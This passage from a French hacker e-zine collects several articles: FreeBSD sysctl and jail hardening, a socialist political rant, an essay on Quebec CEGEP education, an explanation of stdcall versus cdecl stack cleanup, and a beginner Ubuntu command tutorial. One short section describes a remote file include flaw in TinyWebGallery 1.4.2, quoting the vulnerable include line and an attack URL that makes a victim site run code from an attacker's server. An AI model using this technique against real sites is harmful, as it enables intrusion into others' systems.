tentatives de connexion sur les ports qui ne sont pas en écoute sur votre machine.
- net.inet.tcp.log_in_vain : idem pour tcp
- net.inet.tcp.blackhole : permets de ne pas répondre au packet en erreur
- net.inet.udp.blackhole: idem pour udp
- net.inet.ip.random_id : si la valeur est a 1, permet d'incrémenter les packet de maniere
aléatoire et pas de 1 en 1
- net.inet.ip.ttl : modifie le ttl d'un packet Pour eviter qu'un utilisateur sature votre
serveur regardez aussi du cote de :
- kern.maxprocperuid
- kern.maxfilesperproc
- kern.maxfiles
- kern.ipc.somaxconn
- kern.ipc.maxsockbuf
Pour éviter de setter les paramètres a chaque démarrage mettez les en place dans
/etc/sysctl.conf qui sera lu au boot de la machine.
IV) Jail :
Une jail est une prison cela sert a enfermer vos services dans un chroot évolué disposant de
sa propre adresse ip. Cela permet qu'en cas d'attaque de votre serveur web le reste de la machine
soit sain. Isoler les services est primordial. Si le hacker arrive a etre root sur votre jail il
ne l'a pas sur le système en entier.
Pour créer une jail (qui se rapport a un pseudo machine virtuelle) voici le procédé :
cd /usr/src
mkdir /prison
make world DESTDIR=/prison
make distribution DESTDIR=/prison
À partir de la tout un OS se créer dans /prison
Pour lance la prison faite :
ifconfig ral0 inet alias 192.168.0.69 netmask 255.255.255.0 #pour créer la prison sur
l'adresse 192.168.0.69 modifiée
ral0 par votre interface reseau
/sbin/mount_devfs devfs /prison_challenge/dev # créer les devices de la jail
/usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh /etc/rc #lance la jail
et les services
Pour accéder a
la jail et
modifier ces
parametres la
commande :
/usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh
Vous ouvre directement un sh dans votre prison....
Voilà quelques cartes vous permettant de sécuriser un peu votre machine et de bien isole les services
en cas de compromission du système.
UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR http://www.hackever.org
Écrit par Oda
__ __ __ _____
/ / / /___ ______/ /_|__ / _____ _____
/ /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
/ __ / /_/ / /__/ ,< ___/ / |/ / __/ /
/_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 11 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Les feseux de veriter ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] C4 [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Nous ne sommes que peu nombreux à y voir clair. C'est la conclusion d'un certain faiseur
de vérité, un certain clarity guy, qui nous explique, de son mieux, le socialisme. La
mondialisation, dit-il, ne peut échapper à aucun peuple. Force est de constater que ce
monsieur, aussi bien parlant soit-il, profite de ce régime, et ne veut en aucun cas son
effondrement. Certes, on voudrait bien croire qu’il agit de sorte de bonne foi. Mais
plus souvent qu'autrement, pour ne pas dire à tout les coups, les gardes du corps de la
mondialisation ne sont que des biens nourris, à qui cette sois disant "ouverture du
monde" leur servent plus que bien.
Si le socialisme n'est nullement souhaitable, il serait de mise, que ce monsieur, pour ne
pas dire ces messieurs, aille se faire voir. Ces pauvres types prétendent que
l'avènement d'un état socialisme serait égal à une société contre la mondialisation.
Méchante découverte! Comme si la mondialisation, le capitalisme et l'impérialisme étaient
trois sujets complètement séparés l'un de l'autre. Je l'ai déjà dit, je l'avoue, mais ces
trois phénomènes ne sont en réalité qu'un vaste sujet.
Évidemment, notre faiseur de vérité en fait tout un plat. A l'écouter parler, on croirait
qu'il faut avoir un doctorat en politique pour comprendre. Pas étonnant que le commun des
mortels s'en désintéresse.
Hors de tout doute, ces messieurs ne veulent pas qu'ont comprennent. Déjà, comprendre,
c'est en quelque sorte se donner le droit de réfléchir. Avec toute la crasse qu'on
nous passe, de Stars Épidémie à Loft Connerie, de King Kong à Mission Impossible 42,
c'est encore plus plausible que leur but, c'est de nous divertir et surtout, de nous
divertir à tout prix. Ces profiteurs du système n'ont pas le droit de nous laisser
comprendre.
Alors on complique tout. Pour qu'ont se sentent dans une société juste, on nous repasse
les débats habituels : le prix du gaz, les familles monoparentales, on nous parle de tout
et de rien, mais surtout de rien. Et le reste, ça passe dans le beurre. Les pseudos
"nouvelles" que l'on nous passent via nos différents systèmes de propagandes médiatiques
ne sont en réalité qu'un vaste recueil de divertissement.
On a réussi, par le biais d'une désinformation totale, à faire passer une loi digne d'un
régime totalitaire. Plus aucune cigarette dans les endroits publics. C'est tu assez
gentil ? On se croirait au Pays des Merveilles, dans un film de Walt Disney. Tout
le débat a été concentré autour de la cigarette, alors qu'on aurait du parler
de l'implication d'un gouvernement de droite dans nos vies, pour ne pas dire Lieux
privés. Notre gouvernement, qui taxe le tabac, engendre une mission de bonne conscience,
et on l'applaudit. Comme si on était trop cave pour savoir que la cigarette est
néfaste. Demain ça va être quoi ? L’interdiction des petites grosses dans les salons
de coiffure ? Ça pourrait être un bon prétexte pour se blanchir les mains de leurs
cochonneries de fast food américain.
L'autre soirée, un certain type, dont j'oublie malheureusement le nom, ma demandé si
j'étais fou, puisque je prétendais, dans la même discussion, que nous sommes un peuple
opprimé. Il avait relativement raison; j'ai déjà avoué être à moitié fou. Je ne m'en
cache pas. La question à se poser, c'est de savoir pourquoi on verrait, au grand jour,
notre oppression ? Un système d'oppression, en construction depuis des centaines
d'années, parfaitement mis au point ne serait que complètement raté si on s'en rendait
compte aussi facilement. Or, tel n'est pas le cas. Et tel n'est rarement le cas, dans
tout les systèmes d’oppression confondus. A quoi bon construire un système d'oppression
s'il faut l'afficher sur les murs ? Ici, vous êtes opprimés. Ici, c'est moins pire.
Ici, beaucoup plus. C'est quand même un peu plus subtil que ça . Loin de moi l'idée de me
faire passer pour un messager venu des ténèbres pour vous apporter la bonne nouvelle ...
mais plusieurs personnes dorment en gaz. Faudrait penser à les réveiller, un jour.
Leur brasser les idées, juste pour voir ce qu'il en ressort.
Enfermez un chien dans une cage toute sa vie, et il finira par s’y faire. Il ne se
révoltera qu'après avoir pris conscience (pour citer Orwell) de la pitié de son sort.
Un minimum d'intelligence requis, évidemment. Mais tel n'est pas le cas présentement pour
un chien : il finira pas s'y habituer.
Il en va de même pour l'humain. L'habitude peut devenir une sécurité très réconfortante.
A quoi bon se révolter, diront certains ? A ceux-ci, je leur répondrais que leur
"belle vie" se caractérise par la révolte des dernières décennies. Alors maintenant,
Ceux qui profitent tant bien de la révolte des autres, ne veulent plus avancer ?
Sans la révolution française, où en serions nous présentement ? Personne ne connait
évidemment la réponse, mais on peut affirmer, sans trop se tromper, que l'on serait
encore plus opprimés. Sans Malcolm X, que se serait-il passé ? Sans Luther king Jr. que
se serait-il passé pour le droit des noirs ? Sans Mary Wollstonecraft, où en seraient les
droits des femmes ? Évidemment, on ne peut que répondre de façon hypothétique, en
avouant, du même souffle, que ces personnes ont chacunes fait avancer leur cause. Alors
maintenant, me direz vous, il faut oublier ces héros et s'assoir sur ce qu'ils ont
commencé à bâtir ? C'est pourtant la conclusion de l'autre tarla, le faiseur de vérité.
Assez farfelu comme vérité, je vous l'accorde.
Il s'agit de la seule et unique vérité qui nous pollue le cerveau, minute après minute,
heure après heure, jour après jour. Le politically correctness ne nous permet plus de
réfléchir, sous peine d'être arrogant, méchant, impoli, vulgaire. La révolution n'est
plus souhaitable, ni le socialisme, ni rien, prétendent-ils. Qu'est-il souhaitable
alors ? Qu'on sauvegarde leur régime ? Qu’on continue de les aider, passivement, à se
remplir les poches ? Qu'on change de coté ?
Collectivement, ça fait des décennies que l'on se laisse faire, qu'on les regarde de bas,
de très bas. Ne faudrait toujours pas frustrer l’ordre établi, ne faudrait surtout pas
ébranler la "patente". Des plans pour se faire traiter d'extrémiste par les vieux bloucs
de la mafia canadienne. Des plans pour se faire varloper à droite et à gauche, car on a
osé réfléchir. C'est ben plus intéressant de faire un dossier de 9 pages sur les débats
amoureux de l'autre twit dans loft connerie. Ca, c'est de la résistance, hein monsieur ?
Ça, c'est ce qu'ils aiment.
Alors demain, à mon réveil, mieux vaut parler du swiffer wet jet 2008, j'aurais été
averti. Avec toute la puissance que cet appareil me donne, ainsi qu'une liberté absolue
dans mes mouvements, comment ne pourrais-je pas baver devant cette merveille de la
technologie ? (...)
Blague à part, on se rend compte assez vite que nos aspirations peuvent être rapidement
minimisées. Pour certains, nous sommes que des wannabe Che Guevara, des pseudos
socialistes, des ti-counes qui tripent sur la révolution. Peut-être, ça nous arrive
tous, un jour ou l'autre, de se prendre au sérieux. Peut-être même trop, des fois pas
assez, des fois pas du tout. Et alors ? On va se laisser faire la morale par une gang de
bourgeois grassement payés ? Comme disait Léo Ferré, ce qui est encombrant dans la
morale, c'est que c'est toujours la morale des autres. Alors cette fois ici, c'est notre
morale. Pas la leur, pas celle de leur patron, pas celle du PDG, pas celle du premier
ministre, pas celle d'un curé de paroisse. C'est la nôtre : c'est notre pensée, nos
idées, nos rêves, nos aspirations. A un moment donné, faudrait arrêter de les écouter
radoter leur même toune plate. J'ai le gout de chanter un autre toune, celle que j'ai
apprise. J'ai été mal élevé, probablement. Mais j'ai le gout, aujourd'hui, qu'on
chante notre toune. Celle que Orwell chantait, celle que Camus chantait. Celle que Léo
Ferré nous a apprise à chanter. La même toune qui passait dans les neurones révoltés
de Malcolm X. Cette toune la, sacrament, c'est celle-là que je veux chanter, avec
tous ceux et celles qui veulent la chanter.
Plus besoin d'explication. Fini, na pu. Si les fesseux de vérité affirment, sans l'ombre
d'un doute, que le socialisme mène à la destruction d'un pays, pourquoi je devrais
justifier mes dires ? Non, le socialisme ne mène pas à la destruction de l'état. Il faut
minimiser l'écart entre les riches et les pauvres. C'est pas très compliqué, me semble ?
Pourquoi, de notre côté, on doit passer notre vie à se justifier ? Eux, ils ont des
chiffres de leur côté. Mais ce qu'ils ne nous disent pas, c'est que ce sont leurs
chiffres. Nous, on a notre parole, notre intelligence, notre imagination, notre
détermination. Oui, le socialisme est souhaitable. Il est nécessaire et justifiable.
Arrêtons de perdre notre temps à se justifier, jour après jour.
Nécessaire et justifiable. Cette fois ici, c'est notre vérité, c'est notre moral, c'est
notre refrain. Il n'y a pas de deuxième place, ni de pseudo socialisme. Qu'ont
en finissent une bonne fois pour toute avec le capitalisme, le colonialisme,
l'impérialisme américain et le néo-libéralisme canadien.
c4.
"Ce n'est pas la révolte en elle-même qui est noble, mais ce qu'elle exige."
- Camus, (L'homme révolté)
topic
_________________________________________________________
|
Entre-Articles Oda |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Petite Faille Web ]
|
| Hier je m'amusais a lire du code source et je suis tombé sur
| TinyWebGallery dans mon cas la version 1.4.2 j'ai pas essayé
| sur les autres. Dans l'appli ils fournissent des exemples dans
| le répertoire exemples du répertoire d'installe... En lisant un
| peu le code je tombe sur un fichier image.php qui contient :
|
| include ($image . ".txt");
|
| Ben ca alors ils auraient carrément pu l'appeler HACKME.php...
| smile ( CF faille include ) à partir de la je dépose un fichier
| oda.txt qui fait ceci sur mon serveur :
|
|
| et je fait un
| http://sitevictime.com/examples/page.php?http://monserveur.com/oda
| et la haut miracle ca exécute la commande chez la victime...
|
|
| Bon voila l'explication d'une simple faille include mais dans le
| cas d'un produit tout fait que n'importe qui peut installer chez
| lui smile Pour se protéger je vous conseille de virer les exemples
| qu'ils fournissent avec leurs applis.
|
| UNE VERSION AVEC SCREENSHOT EST DISPONIBLE SUR http://www.hackever.org
|
____| Ecrit par Oda
__ __ __ _____
/ / / /___ ______/ /_|__ / _____ _____
/ /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
/ __ / /_/ / /__/ ,< ___/ / |/ / __/ /
/_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 12 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Things that goes BOOM ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
"Things that goes BOOM"
" Ninja Production Present "
un vieux texte que j'ai retrouvé dans un fond de tiroir en fessant mon
ménage annuel que je fais tous les six ans. Texte que j'avais écrit pour
un cours de philosophie quelconque et que je trouve encore actuel, malgré
que certains petits ajouts seraient on ne peut plus nécessaires. Et dans
ma grande bonté et en toute humilité, je me suis dit qu'il était de mon
devoir de vous faire part de cette réflexion sociale que vous trouverez,
sans aucun doute, fondamentale.
Dix-sept ou dix-huit ans: période où l'on devient adulte et responsable en
prenant des décisions pour un avenir proche et/ou lointain. Ces décisions
peuvent porter sur beaucoup de sujets différents comme "est-ce que je veux
continuer mes études au niveau collégial ?" ou encore "qu'est-ce ce que j'ai
l'intention de faire de ma vie ?". Ce genre de questions peut être posé avant
même d'être au CEGEP, mais elles doivent avoir une réponse lors du cheminement
collégial. Il est vrai que nous devons nous tracer un chemin, suivre une voie
pour évoluer et s'améliorer dans la vie. Mais les CEGEP contribuent-ils à cette
prise de position, de décision par les étudiants ? Il est clair que ces
établissements d'enseignement ne leur apportent guère un support stable et
solide. Il sera traité, dans ce court texte, de trois raisons pour lesquelles
les écoles de niveau collégial, plus particulièrement les CEGEP, ne favorisent
pas la formation à la vertu. Premièrement, le système d'éducation est basé sur
le principe de "l'obligation de résultats". En second lieu, il n'organise pas
ou presque pas de mise en pratique des connaissances acquises et troisièmement,
il prône la formation de masse.
Le ministère de l'éducation a conçu le système d'éducation collégiale,
ainsi que celui du niveau secondaire et universitaire, sur le principe que l'on
peut nommer "l'obligation de résultats". Cela veut dire que le succès du
programme d'étude est basé sur la réussite de l'élève par rapport à sa note
obtenue lors d'exercices d'évaluation se référant à des critères définis. Or,
l'élève n'a qu'à étudier certains points de la matière donnée en classe pour
avoir les résultats de passage. L'étudiant peut donc focaliser les centres
d'intérêts de son professeur, et ainsi prévoir d'une certaine façon les genres
de questions qui vont lui être demandées. Il peut dès lors se préparer sur une
partie de la matière et ainsi réussir à obtenir les exigences minimales
demandées pour réussir son cours. De ce fait, les cours donnés ne forment pas la
personne humaine à la vertu, ils forment plutôt des gens qui chercheront les
bonnes réponses à un nombre limité d'évènements et/ou situations sans jamais se
développer en tant qu'être humain parce qu'ils ne s'enrichiront pas d'un savoir
non limité par des objectifs.
Non seulement les CEGEP fonctionnent par "l'obligation de résultats" mais ils
ne permettent pas de pratiquer les connaissances acquises dans les cours autres
que les cours techniques. Par exemple, un étudiant en science humaine profil
communication n'a pas d'activité lui permettant de mettre en pratique les
connaissances qu'il a reçues lors d'un cours, comme des stages ou des
simulations d'évènements réels dans un milieu très peu contrôlé. Seuls les
programmes techniques comme "Informatique de gestion", "Soins infirmiers",
"Techniques policières", etc. permettent et obligent les étudiants à mettrent
en pratique le savoir transmis par leurs professeurs. De plus, même dans ces
programmes, seuls certains cours intègrent des projets de mise en pratique dans
un milieu de travail. Ces projets se déroulent dans des environnements non
contrôlés, par opposition aux situations qui sont prédéfinies dans un livre ou
gérées par la main protectrice de l'enseignant qui crée des évènements parfaits
pour simuler une réalité qui ne l'est pas. Le collégial, d'une façon générale,
ne permet pas d'enrichir l'être humain en lui permettant de voir et s'adapter
aux vrais problèmes puisqu'il ne favorise pas la mise en pratique, dans un
environnement réel, des connaissances acquises.
En plus des environnements contrôlés pour la mise en pratique du savoir, si
mise en pratique il y a, l'éducation de masse est un point marquant du CEGEP
puisque d'année en année, le nombre d'étudiants augmente dans les classes. Les
professeurs sont donc moins disponibles pour aider tous les étudiants.
Inévitablement, le côté personnel de l'enseignement est remplacé par
l'impersonnalité administrative et le savoir transmis par les professeurs est
moins bien assimilé et moins riche en informations. L'éducation de masse oblige
les enseignants à prendre du recul par rapport aux étudiants pour pouvoir donner
leur matière dans les temps prévus. Ce recul entraine une certaine perte du lien
qui devrait être créé entre le professeur et les étudiants puisque ce dernier
doit s'occuper de beaucoup plus d'élèves. Ainsi, ce n'est plus à la personne, à
l'être humain, que l'on enseigne, mais plutôt à un groupe identifié par un
numéro, dont chaque individu le composant est lui-même devenu un numéro.
L'étudiant peut percevoir une fausse indifférence à son cas puisque l'on a perdu
le rapprochement, le lien "intime", entre ce dernier et l'enseignant. L'être
humain est donc, encore une fois, négligé et beaucoup d'autres choses (diffusion
de toute la matière, respect de l'échéancier, le groupe, etc.) passent désormais
avant lui.
Pour conclure, le système d'éducation, tel que défini par le ministère de
l'éducation, ne prend pas les mesures nécessaires pour favoriser le
développement à la vertu. Le système actuel met davantage l'accent sur
"l'obligation de résultats", la mise en pratique contrôlée des connaissances et
l'enseignement de masse, ce qui à comme conséquence de négliger l'étudiant en
tant qu'être humain.
Ninja
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
topic
_________________________________________________________
|
Entre-Articles Ivanlef0u |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Cleaning the stack ]
|
| Plop all, vous le savez certainement lors de l'appel d'une fonction en C le code
| push sur la stack les arguments dans l'ordre inverse définit, le premier arg est
| pushé en dernier et vice versa. Par contre lorsque la fonction est finie que
| deviennent ces arguments ? :) il faut que la stack soit nettoyer afin que ca
| ne devienne pas le bordel et pour cela il existe 2 façons de le faire, voici un
| code qui les présentent:
|
| ------------CUT HERE--------------------
| __stdcall int foo1(int bouh1, int bouh2)
| {
| char buff[12];
| return bouh1;
| }
|
| __cdecl int foo2(int bouh1, int bouh2)
| {
| char buff[12];
| return bouh2;
| }
|
| int main()
| {
| foo1(0,-1);
| foo2(0,-1);
|
____| return 0;
}
------------CUT HERE--------------------
__stdcall et __cdecl représentent évidemment une méthode de "nettoyage"
différente. Mais pour plus de clarté, désassemblons tout ça.
__stdcall int foo1(int bouh1, int bouh2)
00400870 /$ 55 PUSH EBP
00400871 |. 8BEC MOV EBP,ESP
00400873 |. 83EC 0C SUB ESP,0C
00400876 |. 8B45 08 MOV EAX,[ARG.1]
00400879 |. 8BE5 MOV ESP,EBP
0040087B |. 5D POP EBP
0040087C \. C2 0800 RET 8
__cdecl int foo2(int bouh1, int bouh2)
0040087F /$ 55 PUSH EBP
00400880 |. 8BEC MOV EBP,ESP
00400882 |. 83EC 0C SUB ESP,0C
00400885 |. 8B45 0C MOV EAX,[ARG.2]
00400888 |. 8BE5 MOV ESP,EBP
0040088A |. 5D POP EBP
0040088B \. C3 RET
main()
0040088C /$ 55 PUSH EBP
0040088D |. 8BEC MOV EBP,ESP
0040088F |. 6A FF PUSH -1 ; /Arg2 = FFFFFFFF
00400891 |. 6A 00 PUSH 0 ; |Arg1 = 00000000
00400893 |. E8 D8FFFFFF CALL appel.00400870 ; \appel.00400870 -> foo1
00400898 |. 6A FF PUSH -1 ; /Arg2 = FFFFFFFF
0040089A |. 6A 00 PUSH 0 ; |Arg1 = 00000000
0040089C |. E8 DEFFFFFF CALL appel.0040087F ; \appel.0040087F -> foo2
004008A1 |. 83C4 08 ADD ESP,8
004008A4 |. 33C0 XOR EAX,EAX
004008A6 |. 5D POP EBP
004008A7 \. C3 RET
Au niveau de l'appel des fonctions rien ne change les arguments sont pushés
dans l'ordre inverse: -1 d'abord puis 0. A la fin de la fonction foo1
défini en convention __stdcall on voit: RET 8. Cette instruction signifie que
l'on return et qu’en même tps on ajoute au pointer topstack (esp) 8 ce qui
correspond à ta taille des 2 arguments, on se retrouve avec notre stack comme
avec les push de l'appel, cool c'est clean.
Par contre avec la fonction foo2 on ne voit pas de RET 8, mais après le call on
voit ADD ESP,8 ouf :) notre stack est clean.
En fait la différence c'est qu’en __stdcall c'est la fonction appelée qui
nettoie la stack alors qu'en __cdecl c'est la fonction appelante qui fait le
ménage. Pkoi une telle différence ? He bien prenez l'exemple de la fonction
printf(), printf("%u %d %c %x",a,b,c,d); Cette fonction n'a pas un nombre finit
d'arguments donc en convention __stdcall on aurait toujours le RET X mais qu'est
ce qu'on met pour le X ? comme la fonction peut prendre n'importe quel nombre
d'arguments on la définit en __cdecl ainsi comme la fonction appelante sait
combien d'argument elle a pushé elle sait combien elle doit en dépiler :].
Donc __stdcall=fonctions avec un nombre d'arg finit. __cdecl=fonctions n'ayant
par un nbr d'arg précis. Voilà une chtite chose tjrs bonne a savoir :}
Ivanlef0u
EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 13 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Get started with ubuntu linux ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Burn3d [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
{ BurN3D: UbuntuLinux la base }
Ceci est mon premier article, je vais essayer de faire de mon mieu pour vous expliquer la base
de Ubuntu. UbuntuLinux est basé sur du debian mais n'est pas exactement pareil quelques
trucs changent, mais pour l'instant je vais vous faire un petit tuto sur la base de linux en
general:
1. Choisir son Linux
2. les principales commandes en console pour débuter
3. Un firewall facile à configurer
4. Garder son système a jour
------------------------------------------------
1. Pour commencer ce tuto s'adresse a des gens qui ne se sont jamais servi de ce système
d'exploitation. Pour ma part je vous conseille de débuter avec Ubuntulinux car il a une
interface très facile d'utilisation sinon vous pouvez toujours allez en télécharger un autre sur
Http://www.linuxiso.org. Pour télécharger Ubuntulinux { Http://www.ubuntu.com } de plus ils
offrent l'envoie de cd gratuit, aucun frais cachés.
-----------------------------------------------------------------
2 Les Principales commandes en console
2.1 S'identifier en tant que root (su)
2.2 Se déplacer dans les différents dossiers (cd)
2.3 Savoir dans quel dossier on se trouve (pwd)
2.4 Lister les fichiers d'un dossier (ls)
2.5 Aperçue d'un fichier texte (cat)
2.6 Copier un fichier ou un dossier (cp)
2.7 Supprimer un fichier ou un dossier (rm)
2.8 Créer un dossier (mkdir)
2.9 Déplacer ou renommer un fichier ou un dossier (mv)
2.10 Décompresser et compresser des archives(tar, gzip)
2.11 Gestion des processus (top, ps, kill)
------------------------------------------------------------------
2.1 S'identifier en tant que root (su)
Pour s’identifier en tant que root il suffit d’utilisé la commande su et d’y entrer
vôtre mot de passe root.
Exemple : [root@mindkind /root]$ su
Password :
2.2 Se déplacer dans les différents dossiers (cd)
- La commande "cd" utilisée seule sert a revenir dans le répertoire racine de
l'utilisateur
Exemple : [root@mindkind /root/apps]$ cd
[root@mindkind /root]$
- La commande "cd" suivie de 2 points "cd .." sert à revenir dans le dossier parent
d’où vous vous trouvez
Exemple : [root@mindkind /root/apps/azureus]$ cd ..
[root@mindkind /root/apps]$
- La commande "cd" suivie d'un nom de dossier sert à aller dans celui-ci.
Exemple : [root@mindkind /root/apps]$ cd azureus
[root@mindkind /root/apps/azureus]$
-Et peut être suivi d'une arborescence
Exemple 2 : [root@mindkind /root/apps]$ cd /etc/X11
[root@mindkind /etc/X11]$
2.3 Savoir dans quel répertoire on se trouve (pwd)
- La commande "pwd" sert à savoir dans quel répertoire qu'on se trouve
Exemple : [root@mindkind /root/apps]$ pwd
/root/apps
[root@mindkind /root/apps]$ pwd
2.4 Lister les fichiers d'un répertoire (ls)
- La commande "ls" sert a lister les fichier et dossiers qui se trouve dans un
répertoire. Cette commande peut être utilisée avec plusieurs variantes. Les variantes
les plus utilisées sont :
"-l" : permet de lister les attributs (droits de lecture, d'écriture et d'exécution,
le propriétaire, groupe, la taille en octets, sa date de création ou de modification)
"-a" : liste tous les fichiers du répertoire, y compris les fichiers et dossiers
cachés (fichiers ou dossiers précédés d'un point).
"-m" : Affiche les fichiers en les séparant par une virgule au lieu de les présenter
en colonnes.
"-t" : Affiche les fichiers par date, c'est-à-dire en les classant du récent au plus
ancien.
"-lu" : Affiche les fichiers par date de dernier accès et indique cette date.
"-F" :Affiche les fichiers par type. Un fichier suivi d'un "/" est un répertoire, un
fichier suivi d'une étoile est un fichier exécutable et un fichier suivi d'un "@" est
un lien.
